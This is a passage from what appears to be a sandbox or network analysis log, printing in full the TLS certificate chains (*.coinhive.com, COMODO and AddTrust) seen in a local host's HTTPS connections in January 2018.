3B B5 06 C7 B5 5D B3 A1 05 6E F2 AC )...;....]...n..0010: E7 D1 CA 9F ....]]] Algorithm: [SHA256withRSA] Signature:0000: 27 AA 15 58 F2 86 A0 8A 0F 92 DC F7 79 16 03 20 '..X........y.. 0010: EC F1 40 B8 C0 CD BE D0 42 78 ED 2D A8 75 CD 1D ..@.....Bx.-.u..0020: 4E B9 03 4D 02 21 AB 14 54 DF 62 61 AD C8 AB B6 N..M.!..T.ba....0030: BC 40 CE 49 F5 E0 3C 30 63 8A D3 B9 22 CC A9 80 .@.I..<0c..."...0040: 15 0B 3E 53 E1 ED DA 43 14 EA 24 C9 DD 18 5A 80 ..>S...C..$...Z.0050: FC 0D 45 12 28 39 3C DE 82 D7 3D 2E 4F 92 26 84 ..E.(9<...=.O.&.0060: 7B B0 BD B3 51 5A 1F 5A B7 54 B3 BA 99 DA 1B 4C ....QZ.Z.T.....L0070: 89 27 2A 89 D5 C0 F6 97 D6 29 27 73 0B AF 71 32 .'......)'s..q20080: 67 A4 9F 10 33 62 DB 63 9E 54 60 A3 C5 F9 19 B8 g...3b.c.T`.....0090: 35 DC 34 9E 45 28 1D 63 28 F9 CB E4 2F 33 0D A0 5.4.E(.c(.../3..00A0: 59 6F 1F CF B9 B8 31 38 A9 B5 77 F4 29 99 36 57 Yo....18..w.).6W00B0: 38 CA 11 65 2A 2C 10 86 81 09 D4 F1 D3 18 BF 28 8..e,.........(00C0: AB 15 A0 B5 E5 73 F8 CB BA 6B 6D 1A 5F 57 BF 20 .....s...km._W. 00D0: 7A 46 EA 5F 14 2F 90 C4 8C 0C 5E BF 4F 3F 1E 72 zF._./....^.O?.r00E0: 97 31 9D EB 62 80 2E 47 63 03 21 F3 42 90 0E 4A .1..b..Gc.!.B..J00F0: EC 7E 07 3E 1B 6D C6 78 1B F8 BC FE 6A 90 71 C7 ...>.m.x....j.q.]
Jan 3, 2018 13:36:19.490957022 MEZ	443	49177	94.130.103.71	192.168.1.81	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Wed Feb 12 01:00:00 CET 2014	Mon Feb 12 00:59:59 CET 2029	[[ Version: V3 Subject: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 2048 bits modulus: 18021508317891126045114383893640587389787314988023771299021472384098480478916503597778296613150634219765052113517870635171403307225477983047468706279013651027886500159485348697094115927961850381525182009137128777951162358715158533528593200093291791323275973789174789209802980910482500744419318360338528025872227868058578212418244189425301367382232973595110901594292490129763308095314503250053957090379265992785603931784956681691284995547158646635183735467516188519673313343149548166538558424521681954529559978463371620234598058977077392872218941503229331579208118464720991080636709101634982701306129953489796945248933 public exponent: 65537 Validity: [From: Wed Feb 12 01:00:00 CET 2014, To: Mon Feb 12 00:59:59 CET 2029] Issuer: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 2b2e6eea d975366c 148a6edb a37c8c07]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSAAddTrustCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSACertificationAuthority.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]]] Algorithm: [SHA384withRSA] Signature:0000: 4E 2B 76 4F 92 1C 62 36 89 BA 77 C1 27 05 F4 1C N+vO..b6..w.'...0010: D6 44 9D A9 9A 3E AA D5 66 66 01 3E EA 49 E6 A2 .D...>..ff.>.I..0020: 35 BC FA F6 DD 95 8E 99 35 98 0E 36 18 75 B1 DD 5.......5..6.u..0030: DD 50 72 7C AE DC 77 88 CE 0F F7 90 20 CA A3 67 .Pr...w..... ..g0040: 2E 1F 56 7F 7B E1 44 EA 42 95 C4 5D 0D 01 50 46 ..V...D.B..]..PF0050: 15 F2 81 89 59 6C 8A DD 8C F1 12 A1 8D 3A 42 8A ....Yl.......:B.0060: 98 F8 4B 34 7B 27 3B 08 B4 6F 24 3B 72 9D 63 74 ..K4.';..o$;r.ct0070: 58 3C 1A 6C 3F 4F C7 11 9A C8 A8 F5 B5 37 EF 10 X<.l?O.......7..0080: 45 C6 6C D9 E0 5E 95 26 B3 EB AD A3 B9 EE 7F 0C E.l..^.&........0090: 9A 66 35 73 32 60 4E E5 DD 8A 61 2C 6E 52 11 77 .f5s2`N...a,nR.w00A0: 68 96 D3 18 75 51 15 00 1B 74 88 DD E1 C7 38 04 h...uQ...t....8.00B0: 43 28 E9 16 FD D9 05 D4 5D 47 27 60 D6 FB 38 3B C(......]G'`..8;00C0: 6C 72 A2 94 F8 42 1A DF ED 6F 06 8C 45 C2 06 00 lr...B...o..E...00D0: AA E4 E8 DC D9 B5 E1 73 78 EC F6 23 DC D1 DD 6C .......sx..#...l00E0: 8E 1A 8F A5 EA 54 7C 96 B7 C3 FE 55 8E 8D 49 5E .....T.....U..I^00F0: FC 64 BB CF 3E BD 96 EB 69 CD BF E0 48 F1 62 82 .d..>...i...H.b.0100: 10 E5 0C 46 57 F2 33 DA D0 C8 63 ED C6 1F 94 05 ...FW.3...c.....0110: 96 4A 1A 91 D1 F7 EB CF 8F 52 AE 0D 08 D9 3E A8 .J.......R....>.0120: A0 51 E9 C1 87 74 D5 C9 F7 74 AB 2E 53 FB BB 7A .Q...t...t..S..z0130: FB 97 E2 F8 1F 26 8F B3 D2 A0 E0 37 5B 28 3B 31 .....&.....7[(;10140: E5 0E 57 2D 5A B8 AD 79 AC 5E 20 66 1A A5 B9 A6 ..W-Z..y.^ f....0150: B5 39 C1 F5 98 43 FF EE F9 A7 A7 FD EE CA 24 3D .9...C........$=0160: 80 16 C4 17 8F 8A C1 60 A1 0C AE 5B 43 47 91 4B .......`...[CG.K0170: D5 9A 17 5F F9 D4 87 C1 C2 8C B7 E7 E2 0F 30 19 ..._..........0.0180: 37 86 AC E0 DC 42 03 E6 94 A8 9D AE FD 0F 24 51 7....B........$Q0190: 94 CE 92 08 D1 FC 50 F0 03 40 7B 88 59 ED 0E DD ......P..@..Y...01A0: AC D2 77 82 34 DC 06 95 02 D8 90 F9 2D EA 37 D5 ..w.4.......-.7.01B0: 1A 60 D0 67 20 D7 D8 42 0B 45 AF 82 68 DE DD 66 .`.g ..B.E..h..f01C0: 24 37 90 29 94 19 46 19 25 B8 80 D7 CB D4 86 28 $7.)..F.%......(01D0: 6A 44 70 26 23 62 A9 9F 86 6F BF BA 90 70 D2 56 jDp&#b...o...p.V01E0: 77 85 78 EF EA 25 A9 17 CE 50 72 8C 00 3A AA E3 w.x..%...Pr..:..01F0: DB 63 34 9F F8 06 71 01 E2 82 20 D4 FE 6F BD B1 .c4...q... ..o..]
Jan 3, 2018 13:36:19.490957022 MEZ	443	49177	94.130.103.71	192.168.1.81	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE	Tue May 30 12:48:38 CEST 2000	Sat May 30 12:48:38 CEST 2020	[[ Version: V3 Subject: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 4096 bits modulus: 595250832037245141724642107398533641144111340640849154810839512193646804439589382557795096048235159392412856809181253983148280442751106836828767077478502910675291715965426418324395462826337195608826159904332409833532414343087397304684051488024083060971973988667565926401713702437407307790551210783180012029671811979458976709742365579736599681150756374332129237698142054260771585540729412505699671993111094681722253786369180597052805125225748672266569013967025850135765598233721214965171040686884703517711864518647963618102322884373894861238464186441528415873877499307554355231373646804211013770034465627350166153734933786011622475019872581027516832913754790596939102532587063612068091625752995700206528059096165261547017202283116886060219954285939324476288744352486373249118864714420341870384243932900936553074796547571643358129426474424573956572670213304441994994142333208766235762328926816055054634905252931414737971249889745696283503174642385591131856834241724878687870772321902051261453524679758731747154638983677185705464969589189761598154153383380395065347776922242683529305823609958629983678843126221186204478003285765580771286537570893899006127941280337699169761047271395591258462580922460487748761665926731923248227868312659 public exponent: 65537 Validity: [From: Tue May 30 12:48:38 CEST 2000, To: Sat May 30 12:48:38 CEST 2020] Issuer: CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE SerialNumber: [ 2766ee56 eb49f38e abd770a2 fc84de22]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.usertrust.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: AD BD 98 7A 34 B4 26 F7 FA C4 26 54 EF 03 BD E0 ...z4.&...&T....0010: 24 CB 54 1A $.T.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:2147483647][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.usertrust.com/AddTrustExternalCARoot.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]]] Algorithm: [SHA384withRSA] Signature:0000: 64 BF 83 F1 5F 9A 85 D0 CD B8 A1 29 57 0D E8 5A d..._......)W..Z0010: F7 D1 E9 3E F2 76 04 6E F1 52 70 BB 1E 3C FF 4D ...>.v.n.Rp..<.M0020: 0D 74 6A CC 81 82 25 D3 C3 A0 2A 5D 4C F5 BA 8B .tj...%...*]L...0030: A1 6D C4 54 09 75 C7 E3 27 0E 5D 84 79 37 40 13 .m.T.u..'.].y7@.0040: 77 F5 B4 AC 1C D0 3B AB 17 12 D6 EF 34 18 7E 2B w.....;.....4..+0050: E9 79 D3 AB 57 45 0C AF 28 FA D0 DB E5 50 95 88 .y..WE..(....P..0060: BB DF 85 57 69 7D 92 D8 52 CA 73 81 BF 1C F3 E6 ...Wi...R.s.....0070: B8 6E 66 11 05 B3 1E 94 2D 7F 91 95 92 59 F1 4C .nf.....-....Y.L0080: CE A3 91 71 4C 7C 47 0C 3B 0B 19 F6 A1 B1 6C 86 ...qL.G.;.....l.0090: 3E 5C AA C4 2E 82 CB F9 07 96 BA 48 4D 90 F2 94 >\.........HM...00A0: C8 A9 73 A2 EB 06 7B 23 9D DE A2 F3 4D 55 9F 7A ..s....#....MU.z00B0: 61 45 98 18 68 C7 5E 40 6B 23 F5 79 7A EF 8C B5 aE..h.^@k#.yz...00C0: 6B 8B B7 6F 46 F4 7B F1 3D 4B 04 D8 93 80 59 5A k..oF...=K....YZ00D0: E0 41 24 1D B2 8F 15 60 58 47 DB EF 6E 46 FD 15 .A$....`XG..nF..00E0: F5 D9 5F 9A B3 DB D8 B8 E4 40 B3 CD 97 39 AE 85 .._......@...9..00F0: BB 1D 8E BC DC 87 9B D1 A6 EF F1 3B 6F 10 38 6F ...........;o.8o]
Jan 3, 2018 13:36:22.912580013 MEZ	443	49178	94.130.103.71	192.168.1.81	CN=*.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Sep 28 02:00:00 CEST 2017	Sat Sep 29 01:59:59 CEST 2018	[[ Version: V3 Subject: CN=.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26658317003285746363121333279857244085573308823102137205729012620640147823525052698316965457763411913676477546531548507312916356931304826388840013478651191545863546966144946708284128328089537376600460701305106235519311168604662007117437809864360205524441208790620413529958136189828304432173616254041149825089210744877965464274101827449045557934790603199550487724675704009047161638646414200391427441036585306267165507167134384741871902608741119881051105075175451173662844423504189356774777028862290201795506867227124530566941597848300713615938385221359484731520442541517570978960753558898721372817421144784152567509711 public exponent: 65537 Validity: [From: Thu Sep 28 02:00:00 CEST 2017, To: Sat Sep 29 01:59:59 CEST 2018] Issuer: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 0ae1e6bd 51fb3d8f 06be0db5 5ebde9df]Certificate Extensions: 9[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSADomainValidationSecureServerCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:false PathLen: undefined][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSADomainValidationSecureServerCA.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [1.3.6.1.4.1.6449.1.2.2.7][PolicyQualifierInfo: [ qualifierID: 1.3.6.1.5.5.7.2.1 qualifier: 0000: 16 1D 68 74 74 70 73 3A 2F 2F 73 65 63 75 72 65 ..https://secure0010: 2E 63 6F 6D 6F 64 6F 2E 63 6F 6D 2F 43 50 53 .comodo.com/CPS]] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_Encipherment][8]: ObjectId: 2.5.29.17 Criticality=falseSubjectAlternativeName [ DNSName: .coinhive.com DNSName: coinhive.com][9]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 29 F1 E5 DD 3B B5 06 C7 B5 5D B3 A1 05 6E F2 AC )...;....]...n..0010: E7 D1 CA 9F ....]]] Algorithm: [SHA256withRSA] Signature:0000: 27 AA 15 58 F2 86 A0 8A 0F 92 DC F7 79 16 03 20 '..X........y.. 0010: EC F1 40 B8 C0 CD BE D0 42 78 ED 2D A8 75 CD 1D ..@.....Bx.-.u..0020: 4E B9 03 4D 02 21 AB 14 54 DF 62 61 AD C8 AB B6 N..M.!..T.ba....0030: BC 40 CE 49 F5 E0 3C 30 63 8A D3 B9 22 CC A9 80 .@.I..<0c..."...0040: 15 0B 3E 53 E1 ED DA 43 14 EA 24 C9 DD 18 5A 80 ..>S...C..$...Z.0050: FC 0D 45 12 28 39 3C DE 82 D7 3D 2E 4F 92 26 84 ..E.(9<...=.O.&.0060: 7B B0 BD B3 51 5A 1F 5A B7 54 B3 BA 99 DA 1B 4C ....QZ.Z.T.....L0070: 89 27 2A 89 D5 C0 F6 97 D6 29 27 73 0B AF 71 32 .'......)'s..q20080: 67 A4 9F 10 33 62 DB 63 9E 54 60 A3 C5 F9 19 B8 g...3b.c.T`.....0090: 35 DC 34 9E 45 28 1D 63 28 F9 CB E4 2F 33 0D A0 5.4.E(.c(.../3..00A0: 59 6F 1F CF B9 B8 31 38 A9 B5 77 F4 29 99 36 57 Yo....18..w.).6W00B0: 38 CA 11 65 2A 2C 10 86 81 09 D4 F1 D3 18 BF 28 8..e,.........(00C0: AB 15 A0 B5 E5 73 F8 CB BA 6B 6D 1A 5F 57 BF 20 .....s...km._W. 00D0: 7A 46 EA 5F 14 2F 90 C4 8C 0C 5E BF 4F 3F 1E 72 zF._./....^.O?.r00E0: 97 31 9D EB 62 80 2E 47 63 03 21 F3 42 90 0E 4A .1..b..Gc.!.B..J00F0: EC 7E 07 3E 1B 6D C6 78 1B F8 BC FE 6A 90 71 C7 ...>.m.x....j.q.]
Jan 3, 2018 13:36:22.912580013 MEZ	443	49178	94.130.103.71	192.168.1.81	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Wed Feb 12 01:00:00 CET 2014	Mon Feb 12 00:59:59 CET 2029	[[ Version: V3 Subject: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 2048 bits modulus: 18021508317891126045114383893640587389787314988023771299021472384098480478916503597778296613150634219765052113517870635171403307225477983047468706279013651027886500159485348697094115927961850381525182009137128777951162358715158533528593200093291791323275973789174789209802980910482500744419318360338528025872227868058578212418244189425301367382232973595110901594292490129763308095314503250053957090379265992785603931784956681691284995547158646635183735467516188519673313343149548166538558424521681954529559978463371620234598058977077392872218941503229331579208118464720991080636709101634982701306129953489796945248933 public exponent: 65537 Validity: [From: Wed Feb 12 01:00:00 CET 2014, To: Mon Feb 12 00:59:59 CET 2029] Issuer: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 2b2e6eea d975366c 148a6edb a37c8c07]Certificate Extensions: 8[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: caIssuers accessLocation: URIName: http://crt.comodoca.com/COMODORSAAddTrustCA.crt, accessMethod: ocsp accessLocation: URIName: http://ocsp.comodoca.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:0][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.comodoca.com/COMODORSACertificationAuthority.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ] [CertificatePolicyId: [2.23.140.1.2.1][] ]][6]: ObjectId: 2.5.29.37 Criticality=falseExtendedKeyUsages [ serverAuth clientAuth][7]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][8]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: 90 AF 6A 3A 94 5A 0B D8 90 EA 12 56 73 DF 43 B4 ..j:.Z.....Vs.C.0010: 3A 28 DA E7 :(..]]] Algorithm: [SHA384withRSA] Signature:0000: 4E 2B 76 4F 92 1C 62 36 89 BA 77 C1 27 05 F4 1C N+vO..b6..w.'...0010: D6 44 9D A9 9A 3E AA D5 66 66 01 3E EA 49 E6 A2 .D...>..ff.>.I..0020: 35 BC FA F6 DD 95 8E 99 35 98 0E 36 18 75 B1 DD 5.......5..6.u..0030: DD 50 72 7C AE DC 77 88 CE 0F F7 90 20 CA A3 67 .Pr...w..... ..g0040: 2E 1F 56 7F 7B E1 44 EA 42 95 C4 5D 0D 01 50 46 ..V...D.B..]..PF0050: 15 F2 81 89 59 6C 8A DD 8C F1 12 A1 8D 3A 42 8A ....Yl.......:B.0060: 98 F8 4B 34 7B 27 3B 08 B4 6F 24 3B 72 9D 63 74 ..K4.';..o$;r.ct0070: 58 3C 1A 6C 3F 4F C7 11 9A C8 A8 F5 B5 37 EF 10 X<.l?O.......7..0080: 45 C6 6C D9 E0 5E 95 26 B3 EB AD A3 B9 EE 7F 0C E.l..^.&........0090: 9A 66 35 73 32 60 4E E5 DD 8A 61 2C 6E 52 11 77 .f5s2`N...a,nR.w00A0: 68 96 D3 18 75 51 15 00 1B 74 88 DD E1 C7 38 04 h...uQ...t....8.00B0: 43 28 E9 16 FD D9 05 D4 5D 47 27 60 D6 FB 38 3B C(......]G'`..8;00C0: 6C 72 A2 94 F8 42 1A DF ED 6F 06 8C 45 C2 06 00 lr...B...o..E...00D0: AA E4 E8 DC D9 B5 E1 73 78 EC F6 23 DC D1 DD 6C .......sx..#...l00E0: 8E 1A 8F A5 EA 54 7C 96 B7 C3 FE 55 8E 8D 49 5E .....T.....U..I^00F0: FC 64 BB CF 3E BD 96 EB 69 CD BF E0 48 F1 62 82 .d..>...i...H.b.0100: 10 E5 0C 46 57 F2 33 DA D0 C8 63 ED C6 1F 94 05 ...FW.3...c.....0110: 96 4A 1A 91 D1 F7 EB CF 8F 52 AE 0D 08 D9 3E A8 .J.......R....>.0120: A0 51 E9 C1 87 74 D5 C9 F7 74 AB 2E 53 FB BB 7A .Q...t...t..S..z0130: FB 97 E2 F8 1F 26 8F B3 D2 A0 E0 37 5B 28 3B 31 .....&.....7[(;10140: E5 0E 57 2D 5A B8 AD 79 AC 5E 20 66 1A A5 B9 A6 ..W-Z..y.^ f....0150: B5 39 C1 F5 98 43 FF EE F9 A7 A7 FD EE CA 24 3D .9...C........$=0160: 80 16 C4 17 8F 8A C1 60 A1 0C AE 5B 43 47 91 4B .......`...[CG.K0170: D5 9A 17 5F F9 D4 87 C1 C2 8C B7 E7 E2 0F 30 19 ..._..........0.0180: 37 86 AC E0 DC 42 03 E6 94 A8 9D AE FD 0F 24 51 7....B........$Q0190: 94 CE 92 08 D1 FC 50 F0 03 40 7B 88 59 ED 0E DD ......P..@..Y...01A0: AC D2 77 82 34 DC 06 95 02 D8 90 F9 2D EA 37 D5 ..w.4.......-.7.01B0: 1A 60 D0 67 20 D7 D8 42 0B 45 AF 82 68 DE DD 66 .`.g ..B.E..h..f01C0: 24 37 90 29 94 19 46 19 25 B8 80 D7 CB D4 86 28 $7.)..F.%......(01D0: 6A 44 70 26 23 62 A9 9F 86 6F BF BA 90 70 D2 56 jDp&#b...o...p.V01E0: 77 85 78 EF EA 25 A9 17 CE 50 72 8C 00 3A AA E3 w.x..%...Pr..:..01F0: DB 63 34 9F F8 06 71 01 E2 82 20 D4 FE 6F BD B1 .c4...q... ..o..]
Jan 3, 2018 13:36:22.912580013 MEZ	443	49178	94.130.103.71	192.168.1.81	CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE	Tue May 30 12:48:38 CEST 2000	Sat May 30 12:48:38 CEST 2020	[[ Version: V3 Subject: CN=COMODO RSA Certification Authority, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB Signature Algorithm: SHA384withRSA, OID = 1.2.840.113549.1.1.12 Key: Sun RSA public key, 4096 bits modulus: 595250832037245141724642107398533641144111340640849154810839512193646804439589382557795096048235159392412856809181253983148280442751106836828767077478502910675291715965426418324395462826337195608826159904332409833532414343087397304684051488024083060971973988667565926401713702437407307790551210783180012029671811979458976709742365579736599681150756374332129237698142054260771585540729412505699671993111094681722253786369180597052805125225748672266569013967025850135765598233721214965171040686884703517711864518647963618102322884373894861238464186441528415873877499307554355231373646804211013770034465627350166153734933786011622475019872581027516832913754790596939102532587063612068091625752995700206528059096165261547017202283116886060219954285939324476288744352486373249118864714420341870384243932900936553074796547571643358129426474424573956572670213304441994994142333208766235762328926816055054634905252931414737971249889745696283503174642385591131856834241724878687870772321902051261453524679758731747154638983677185705464969589189761598154153383380395065347776922242683529305823609958629983678843126221186204478003285765580771286537570893899006127941280337699169761047271395591258462580922460487748761665926731923248227868312659 public exponent: 65537 Validity: [From: Tue May 30 12:48:38 CEST 2000, To: Sat May 30 12:48:38 CEST 2020] Issuer: CN=AddTrust External CA Root, OU=AddTrust External TTP Network, O=AddTrust AB, C=SE SerialNumber: [ 2766ee56 eb49f38e abd770a2 fc84de22]Certificate Extensions: 7[1]: ObjectId: 1.3.6.1.5.5.7.1.1 Criticality=falseAuthorityInfoAccess [ [ accessMethod: ocsp accessLocation: URIName: http://ocsp.usertrust.com]][2]: ObjectId: 2.5.29.35 Criticality=falseAuthorityKeyIdentifier [KeyIdentifier [0000: AD BD 98 7A 34 B4 26 F7 FA C4 26 54 EF 03 BD E0 ...z4.&...&T....0010: 24 CB 54 1A $.T.]][3]: ObjectId: 2.5.29.19 Criticality=trueBasicConstraints:[ CA:true PathLen:2147483647][4]: ObjectId: 2.5.29.31 Criticality=falseCRLDistributionPoints [ [DistributionPoint: [URIName: http://crl.usertrust.com/AddTrustExternalCARoot.crl]]][5]: ObjectId: 2.5.29.32 Criticality=falseCertificatePolicies [ [CertificatePolicyId: [2.5.29.32.0][] ]][6]: ObjectId: 2.5.29.15 Criticality=trueKeyUsage [ DigitalSignature Key_CertSign Crl_Sign][7]: ObjectId: 2.5.29.14 Criticality=falseSubjectKeyIdentifier [KeyIdentifier [0000: BB AF 7E 02 3D FA A6 F1 3C 84 8E AD EE 38 98 EC ....=...<....8..0010: D9 32 32 D4 .22.]]] Algorithm: [SHA384withRSA] Signature:0000: 64 BF 83 F1 5F 9A 85 D0 CD B8 A1 29 57 0D E8 5A d..._......)W..Z0010: F7 D1 E9 3E F2 76 04 6E F1 52 70 BB 1E 3C FF 4D ...>.v.n.Rp..<.M0020: 0D 74 6A CC 81 82 25 D3 C3 A0 2A 5D 4C F5 BA 8B .tj...%...*]L...0030: A1 6D C4 54 09 75 C7 E3 27 0E 5D 84 79 37 40 13 .m.T.u..'.].y7@.0040: 77 F5 B4 AC 1C D0 3B AB 17 12 D6 EF 34 18 7E 2B w.....;.....4..+0050: E9 79 D3 AB 57 45 0C AF 28 FA D0 DB E5 50 95 88 .y..WE..(....P..0060: BB DF 85 57 69 7D 92 D8 52 CA 73 81 BF 1C F3 E6 ...Wi...R.s.....0070: B8 6E 66 11 05 B3 1E 94 2D 7F 91 95 92 59 F1 4C .nf.....-....Y.L0080: CE A3 91 71 4C 7C 47 0C 3B 0B 19 F6 A1 B1 6C 86 ...qL.G.;.....l.0090: 3E 5C AA C4 2E 82 CB F9 07 96 BA 48 4D 90 F2 94 >\.........HM...00A0: C8 A9 73 A2 EB 06 7B 23 9D DE A2 F3 4D 55 9F 7A ..s....#....MU.z00B0: 61 45 98 18 68 C7 5E 40 6B 23 F5 79 7A EF 8C B5 aE..h.^@k#.yz...00C0: 6B 8B B7 6F 46 F4 7B F1 3D 4B 04 D8 93 80 59 5A k..oF...=K....YZ00D0: E0 41 24 1D B2 8F 15 60 58 47 DB EF 6E 46 FD 15 .A$....`XG..nF..00E0: F5 D9 5F 9A B3 DB D8 B8 E4 40 B3 CD 97 39 AE 85 .._......@...9..00F0: BB 1D 8E BC DC 87 9B D1 A6 EF F1 3B 6F 10 38 6F ...........;o.8o]
Jan 3, 2018 13:37:15.851953030 MEZ	443	49180	94.130.129.247	192.168.1.81	CN=*.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated	CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB	Thu Sep 28 02:00:00 CEST 2017	Sat Sep 29 01:59:59 CEST 2018	[[ Version: V3 Subject: CN=.coinhive.com, OU=PositiveSSL Wildcard, OU=Domain Control Validated Signature Algorithm: SHA256withRSA, OID = 1.2.840.113549.1.1.11 Key: Sun RSA public key, 2048 bits modulus: 26658317003285746363121333279857244085573308823102137205729012620640147823525052698316965457763411913676477546531548507312916356931304826388840013478651191545863546966144946708284128328089537376600460701305106235519311168604662007117437809864360205524441208790620413529958136189828304432173616254041149825089210744877965464274101827449045557934790603199550487724675704009047161638646414200391427441036585306267165507167134384741871902608741119881051105075175451173662844423504189356774777028862290201795506867227124530566941597848300713615938385221359484731520442541517570978960753558898721372817421144784152567509711 public exponent: 65537 Validity: [From: Thu Sep 28 02:00:00 CEST 2017, To: Sat Sep 29 01:59:59 CEST 2018] Issuer: CN=COMODO RSA Domain Validation Secure Server CA, O=COMODO CA Limited, L=Salford, ST=Greater Manchester, C=GB SerialNumber: [ 0ae1e6bd 51fb3d8f 06be0db5 